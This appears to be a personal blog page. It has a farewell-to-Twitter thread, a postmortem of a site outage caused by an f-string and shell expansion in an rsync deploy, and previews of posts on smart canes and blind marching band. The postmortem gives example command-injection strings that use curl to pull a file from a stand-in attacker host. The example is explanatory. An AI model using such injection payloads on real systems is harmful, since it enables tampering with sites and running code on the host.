goodbye twitter

The following thread marks the end of my time on twitter. Multiple issues, such as data failing to update, data being cached in some instances but not others and thus causing weird behavior, etc made me decide I will trust this app no longer. It could lead to life threatening issues. These are the final Tweets for @derekriemer from Thursday, February 02 2023, 19:26 MST explaining my reasoning.

bye y'all. I'll likely delete this app soon. The idiots in charge don't leave me feeling confident that it's going to remain a useful place to receive emergency info like it once did, and the community that was here is practically dead. I'll likely go onto masto at some point.

As it stands, I regularly see tweets on mobile where the tweet contents change when I click the tweet in my timeline to view it. Thus, the people who remain are incapable of keeping caches from being poisoned. I can't trust the data I'm seeing to be current any longer.

There are other ways to receive necessary emergency information I need. Although, having a masto instance for emergency services, and community updates for things like wildfires would be amazing. That's one thing Twitter did well, but can't be trusted with if caches are poisoned.

Now, if @NWSBoulder and @NWS could get on the mastodon bandwaggon life would get better. Guess where I found about the Marshall fire, before anything really? It was here. It won't be any longer when I can't even trust that the data I see is accurate.

Blind twitter, and tech twitter have either mostly died, or devolved into something useless, and will completely die in the upcoming days as apis blink out of existance. Bots I followed both for productive and interesting means will die once the api changes are made.

[readers note: Twitter has announced they are about to make their api pay for use, and it's clear that most services that once paid for it will not pay, because the cost won't necessitate the benefit. Some of the people who were using these apis were delivering emergency info, etc. This info will stop working at some ndetermined date.]

You can find me for professional means on linked in, and you can find me on derekriemer.com to get in touch or follow my blog. I'll mastodon when I get around to it, and maybe I'll use facebook for some emergency info, but likely will use radios and other things.

If you remain, you need to be very aware that things aren't what they seem. This site is huge. Notifications can fail to be received from sources where you once received them, and data is often being cached, and not updated, or updated in spotty ways.

I've seen situations here where I clicked a tweet and got shown a completely different tweet. I've seen tweets fail to load, and I've seen my own tweet contents cached where clicking it revealed someone else's tweet. This cache poisoning is extremely dangerous. Cache poisoning in the software industry can regularly be cause for p0 the world's on fire level bugs. It means you might one day retweet a tweet, only to retweet natzi propaganda or similar. Cache poisoning means you get an alert about a wild fire, and the data you see is 3 hours old, or contains data that has been deleted already. It means you cannot trust absolutely anything here, at least on mobile.

[readers note: you also might be seeing the data of one user attributed to the wrong user entirely.]

When Elon took over he claimed to be shutting down Thousands of unnecessary microservices. I guarantee that some of these were doing things like updating caches, detecting user intent to optimistically load data, scrubbing blocked tweets, syncing servers, etc.

These sites are huge, and it's clear that what I'm seeing is a crumbling mess caused by a cooperating network of computers that's now starting to fail to communicate. Goodbye. You won't see many more tweets here.

I've been immersed in the world of storage systems for the last 5 years or so. When I see data being mislabeled as other data, that makes me recoil in disgust.

Dissecting an Interesting Failure and complete multiday outage of derekriemer.com, a postmortum investigation

What happened?

On January 3rd, 2023 I made a routine change to derekriemer.com, changing some draft changes to a new article I had written. The changes were then attempted to deploy to staging.derekriemer.com, but unknown to me, several days earlier I accidentally destroyed the entire site with a big oopsie. A combination of code as config, shell variable expansion acting in strange ways, and python F-strings ended up being the cause of the outage. The outage would have been isolated to my staging environment, but a push process that does not properly isolate the staging environment of derekriemer.com from the production environment caused the blast radius to include the entire site, including my production domain, instead of just my staging subdomain. The outage was not detected for days because I left a migration intending to provide separate draft deployment configs for staging and production in an borked state, not realizing what I had done. The fact that derekriemer.com is not particularly important meant I had left myself with no monitoring of the sites actual status, and nobody emailed me wondering where my site went, so in effect, I let my site cease to exist for over a week (I don't have records of exactly the date of the failure, because I'm lazy with my VCS for derekriemer.com, because its simply not that important).

quick overview of how derekriemer.com is set up

Derekriemer.com has two instances:

  • prod: A production instance living at derekriemer.com.
  • staging: A staging instance living at staging.derekriemer.com.

The site is powered by the Nikola static site generator. A bunch of markdown resources are processed by the Nikola engine, and injected into jinja2 templates and combined with the CSS theme to generate the actual site. A configuration file, in Python, is used by Nikola to set various settings for the site, like the tagline, translations (not applicable here), timezone, post and page settings, menus, etc. Historically I didn't have separate configs for staging and prod, which was annoying. I wished to allow prod to not allow the viewing of draft articles, but I wished staging to contain unpublished draft articles, not in listings but available for people who I whished to review. The next session will explain how a seemingly innocuous python config change, which grabbed environment variables and configured the staging and prod environment differently caused verry nasty behavior, and ultimately the distruction of the site, and severe corruption of the server, with a simple rsync push.

How the bad environment configuration worked

on my local machine, I have a wrapper script around Nikola that sets the environment, then builds, deploys, etc the site. The config saves the environment variable for production mode in a variable in the python script called ENVIRON. The config then used a bad combination of f-string substitution to determine which directory on my server to write to. I typically, as of this outage, was writing typescript on a regular basis. Therefore, it slipped my mind that F-strings were not like javascript enhanced formatted strings. Take the below javascript code.

const TEMPLATE = `rsync output user@derekriemer.com:${ENVIRON} --delete`

The python .equivalent would be

TEMPLATE = F"rsync output user@derekriemer.com:{ENVIRON} --delete"

Instead, I wrote the following

TEMPLATE = F"rsync output user@derekriemer.com:${ENVIRON} --delete"

The devil is in the details here. The $ in python is literal. That isn't part of any sort of escape, so the result ended up being that the $ENVIRON environment variable was part of the output. Under normal circumstances, that wouldn't be a big deal, because shell substitution wouldn't apply for subprocess.call, popen, etc. Nikola, however, uses shell=true on subprocess.popen and thus $ENVIRON was interpreted. This also introduced a subtle security vulnerability. If an attacker put ; curl evilsite.com/attack.html > output/attack.html; # in $ENVIRON somehow, they could arrange to get my site to upload evilsite.com's evil.html next time I synced. or, they could use an injection attack to do anything they wanted to my machine. rsync output derek@derekriemer.com:;curl evilsite.com/output.html, output/evil.html;#fail This, however doesn't really matter, because if someone has access to my local machine, and the necessary key material and authentication methods necessary to have my ssh keys, I have bigger problems than some weirdo setting environment variables, instead of simply pwning all the things or having my server for whatever material they want to post. It's one of those "security vulnerabilities" that a person who really hasn't analyzed the risks before would freak out about, but anyone with industry experience would realize has very limited scope in this case. Of course, given that I found an injection attack in my code, I fixed it and thought about the steps that let me cause it to happen to begin with, but I didn't lose sleep over it. It's interesting nevertheless.

How the server is laid out

staging is simply a subdomain of prod. The server has a (not to be named for security purposes) user account, protected by an ssh keypair, that stores the html assets. Separate nginx configs have roots pointing to derekriemer.com's files for prod, and staging.derekriemer.com's files for staging. The roots point to directories with the proper world-readable permissions, but the parent directory (and home of the user) does not allow reading the data stored there, and the config expressly forbids url "." prefixed other than .well-nown. So, we have the following user account, with "love" as the user, because that's the random word I picked:

/home/love
  /
    prod
      ...
      index.html
    staging
      ...
      index.html

With prod and staging both living in the same user account, what happens if somehow, files aren't written to /staging, but to the parent, /home/love? it'll write the contents of my website to /home/love, and since I had --delete in the options for rsync, it would delete every file that wasn't being synced (necessary because when I delete a page, or undeploy a post, I need that post to go bye bye).

How I discovered the issue

On janruary 3rd, I attempted to push a change to an upcoming post and updates to the copyright year to the site. I ran ./nikola_runner.sh build then I ran ./nikola_runner.sh deploy which would deploy to staging. There was a bug in my script though. Since the variable $ENVIRON was not set, because the environment variable I use for this script is called DEPLOYMENT_MODE the output command substituted nothing for $ENVIRON, even though ENVIRON is properly set in python. Therefore, rsync --delete output love@derekriemer.com: was ran. Oops! Guess what is under the user account? Oh yeah duh, .ssh! The way I found this was logging into the server under another ssh account, and running a listing on that directory. Of course, when I saw the contents of my site and nothing more I was like wo!

Why I was surprised

I've intentionally set my site up as a static site for a couple of reasons.

  • I don't need a cms, I find most annoying for code publishing, etc, and all of them have accessibility annoyances that my text editor has solved years ago. I'm not fighting with a cms when I can just write markdown.
  • Maintaining a database on my server necessitates taking extra security risks. Since the entirety of my site is static, by design, these extra security risks in having a CMS that uses a database are simply unecessary. Databases are complex pieces of technology, and the code that interacts with them are commonly part of security vulnerabilities. If I, or a hosting company of my choosing, messes the configuration or protection of the database up, the database can be poisoned by attackers to do whatever the attacker wants. For example, wordpress, while extremely well maintained, sometimes has security vulnerabilities discovered, and plugins are nutorious for them. Any CMS like wordpress, that has enough users, will be the target of attacks within hours, not days. I simply don't want to have to take on the responsibility to update a system that fast or risk attacks. My static content, on the other hand, is simply a bunch of standard files, protected by standard filesystem primitives, and handled by an extremely simple server config. I can, in the event of a d-dos attack, or server outage, give HTML and CSS assets to someone like cloudflare and be online without any mucking around.
  • Most cms systems, by querying a database, are lower performance than simple html assets. My website, by being static html, most of which rarely changes, is incredibly quick to load, doesn't hydrate anything with javascript after load, doesn't need unnecessary javascript or database queries, etc. By being static HTML, my site can be cached with ease, so users who visit my site, then click around can often receive many of the resources without even touching the network. I'm not adding complexity by using a CMS, frontend framework, etc, when I can compile everything up front to be literally stock boring HTML. Boring is good sometimes. Many web developers need to learn to stop overengineering things. I'm always maddened when common sites load several megabytes of plutonium infested garbage, only to load a simple article or similar.
  • Given that most CMS systems have accessibility annoyances and performance considderations, why bother maintaining and dealing with one when it's more performant, more secure, and less hassle for me to just use a static site generator?

Given how I've taken great lengths to make my content as simple to maintain and deal with as possible, I was surprised by how a simple config change I made ended up blowing everything away. I mostly reiterated lessons I've learned over the past few years, config is just as dangerous as code when configuring a system, especially if that config is either interpreted, or actual code.

Some (more) thoughts on smart canes

Why more?

In early 2021, I wrote a blog post about smart canes, why they usually are hipe, and why canes have design elements that make them so versatile. This blog post got a couple orders of magnitude more traffic than I expected, and based on the feedback I have received, it was educational for many people. It has been posted on many peoples blogs, and even Hacker News. I want to make sure the positive reception of my article is used to guide the industry in an appropriate direction, and generate new useful technologies, instead of being synical and bashing anyone who may have the thought to attach something to a cane.

Read Some (more) thoughts on smart canes… (6 paragraphs remaining).

Reflection: What its like to march in a band while blind.

Beginning thoughts

I have been reflecting on the last decade and a half of my life over the past couple of months, in an attempt to better understand why I have made key decisions, and how those decisions were pivotal in shaping me. This is partially part of my goal setting exercise, where I plan to have at least 5 long term goals set out for myself by the end of 2021 since clear goals are very crucial for guiding ones life. As part of this reflection, it occurred to me that I never formally documented the truly amazing experience I had marching in the band as a blind high schooler. I realize it's been nearly a decade since I last stepped foot on a field, and my knowledge may be a little rusty, but I want to make sure information is available for blind children who are questioning if they can march in the band. I've talked to people who were required to stand on the edge of the field while the rest of the band marched, and I simply want other blind people to have a resource to use, and a resource to point future teachers, section leaders, and drum majors to for reference purposes so that blind people can actually be successful marching. There was one instance in band, where due to some odd conditions with the field, I didn't march during a 2 hour window, and as a result it made me realize I need to tell my experience the way it was, with no fluff, to encourage other blind teenagers to go out, march instead of stand on the sidelines, and have the time of their life. The friendships I made in band changed me and my friends for life, and I truly got to be a member of the band, my section, and the school in a special way that other blind people often don't get.

Read Reflection: What its like to march in a band while blind.… (6 paragraphs remaining).

Some Thoughts on Smart Canes

over the last few years, many attempts have been made at creating a smart cane. None of them have successfully lead to a market transforming technology that's actually used by any substantial users.

I saw a recent example of a smart cane getting news coverage, and it deserves particular attention because of a particularly egregious argument used within. I've seen this argument, or variations therein, made in several posts about smart canes. I will address this below, and lay out why this argument does not present a solid case in favor of a smart cane. I will then lay out several design and engineering constraints that must be met before I would ever be able to recommend a smart cane to another blind person.

Read Some Thoughts on Smart Canes… (6 paragraphs remaining).